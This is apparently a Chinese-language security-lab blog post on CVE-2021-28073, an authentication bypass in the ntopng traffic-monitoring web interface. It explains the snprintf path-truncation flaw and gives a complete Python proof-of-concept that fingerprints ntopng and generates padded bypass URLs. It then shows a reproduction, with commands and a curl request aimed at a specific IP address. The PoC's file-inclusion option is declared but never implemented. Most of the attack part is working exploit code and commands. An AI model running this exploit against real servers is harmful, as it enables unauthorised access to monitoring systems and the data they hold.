CVE-2021-28073
漏洞描述:
topng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。
对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request函数中,ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加\0。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。
影响版本:ntopng commit < e8b9721479f401f595c5c7bb151819aceb03ad71
参考资料:
- https://chowdera.com/2022/01/202201182325074915.html
- https://min.news/zh-hans/technique/8614985008f06680019a5c0e97c401cd.html
POC:
import sys
import requests
import argparse
import logging
def is_ntopng() -> bool:
response = session.get(base_url, allow_redirects=False)
return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
def get_base_length() -> int:
for i in range(90, 120):
url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
response = session.get(url, allow_redirects=False)
if response.status_code < 300:
return 255 - 1 - i * 2 - len('as_stats.lua')
for i in range(90, 120):
url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
response = session.get(url, allow_redirects=False)
if response.status_code < 300:
return 255 - 1 - i * 2 - len('get_macs_data.lua')
return -1
def get_padding_length(path: str):
padding_length = 255 - 1 - base_length - len(path)
if padding_length % 2 == 1:
raise RuntimeError(f'path {path} is not support')
return int(padding_length / 2)
logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
parser.add_argument('-v', '--verbose', default=False, action='store_true')
subparsers = parser.add_subparsers(dest='action')
baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
args = parser.parse_args()
if not args.action:
parser.print_help()
sys.exit(1)
if args.verbose:
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
base_url = args.url.rstrip('/')
# check target
if not is_ntopng():
raise RuntimeError('No Ntopng detected')
if args.action == 'baselength':
base_length = get_base_length()
sys.stdout.write(f'ntopng install path length: {base_length}\n')
elif args.action == 'generate':
base_length = args.length
path = args.path
sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')
漏洞复现
使用以下命令获取lua目录的长度
python poc.py -u http://123.58.224.8:27151/ baselength
![图片[1]-【初级】ntopng 权限绕过-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/10/d2b5ca33bd075856.png)
python poc.py -u http://123.58.224.8:27151/ generate -l 36 -p find_prefs.lua
![图片[2]-【初级】ntopng 权限绕过-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/10/d2b5ca33bd075909-1024x142.png)
curl http://123.58.224.8:27151/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css
![图片[3]-【初级】ntopng 权限绕过-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/10/d2b5ca33bd075919-1024x161.png)
© 版权声明
部分文章采集于互联网,若侵权请联系删除!
THE END
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下